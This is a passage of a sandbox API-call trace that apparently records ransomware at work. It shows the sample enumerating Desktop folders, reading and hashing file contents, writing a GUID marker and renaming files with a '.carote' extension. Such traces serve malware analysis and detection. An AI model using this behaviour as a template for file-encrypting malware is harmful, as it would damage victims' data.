HALPmcxz\\Desktop\\f_-8oBARRP9-U\\fDU6skWeF5QU.swf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\fdu6skwef5qu.swf.carote")) returned 1 [0112.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.519] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.520] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85e321c0, ftCreationTime.dwHighDateTime=0x1d4c7da, ftLastAccessTime.dwLowDateTime=0xe2857cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0xe2857cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0xa93, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rz.mkv", cAlternateFileName="")) returned 1 [0112.520] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\rz.mkv") returned=".mkv" [0112.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\rz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\rz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.521] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=2707) returned 1 [0112.521] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.522] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.522] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.524] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa93, lpOverlapped=0x0) returned 1 [0112.524] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.524] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.524] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.524] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.525] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.525] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.525] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.525] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.525] GetLastError () returned 0x0 [0112.525] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.525] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.525] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.525] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.525] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.525] CloseHandle (hObject=0x61c) returned 1 [0112.526] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\rz.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\rz.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f_-8oBARRP9-U\\rz.mkv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_-8obarrp9-u\\rz.mkv.carote")) returned 1 [0112.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.526] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.527] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.527] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85e321c0, ftCreationTime.dwHighDateTime=0x1d4c7da, ftLastAccessTime.dwLowDateTime=0xe2857cf0, ftLastAccessTime.dwHighDateTime=0x1d4ce58, ftLastWriteTime.dwLowDateTime=0xe2857cf0, ftLastWriteTime.dwHighDateTime=0x1d4ce58, nFileSizeHigh=0x0, nFileSizeLow=0xa93, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rz.mkv", cAlternateFileName="")) returned 0 [0112.527] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.527] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0112.528] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.528] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\") returned="JiLyW4X cG7WzlVAVa\\" [0112.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0112.528] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.528] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.528] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.528] PathFindFileNameW (pszPath="") returned="" [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.528] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JiLyW4X cG7WzlVAVa\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c3d1180, ftCreationTime.dwHighDateTime=0x1d4c824, ftLastAccessTime.dwLowDateTime=0x367e3ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0x367e3ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecc60 | out: hHeap=0x5010000) returned 1 [0112.528] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c3d1180, ftCreationTime.dwHighDateTime=0x1d4c824, ftLastAccessTime.dwLowDateTime=0x367e3ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0x367e3ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.528] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x918f980, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0xd7cd21d0, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0xd7cd21d0, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hIl-xN3DRO3pVP", cAlternateFileName="HIL-XN~1")) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0112.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa8) returned 0x79ab798 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48330 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51098f0 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0112.529] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x918f980, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0xd7cd21d0, ftLastAccessTime.dwHighDateTime=0x1d4cd5b, ftLastWriteTime.dwLowDateTime=0xd7cd21d0, ftLastWriteTime.dwHighDateTime=0x1d4cd5b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hIl-xN3DRO3pVP", cAlternateFileName="HIL-XN~1")) returned 0 [0112.529] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.529] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.529] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.531] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.531] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.532] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.532] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.533] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.533] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.533] HeapFree (in: hHeap=0x5010000, 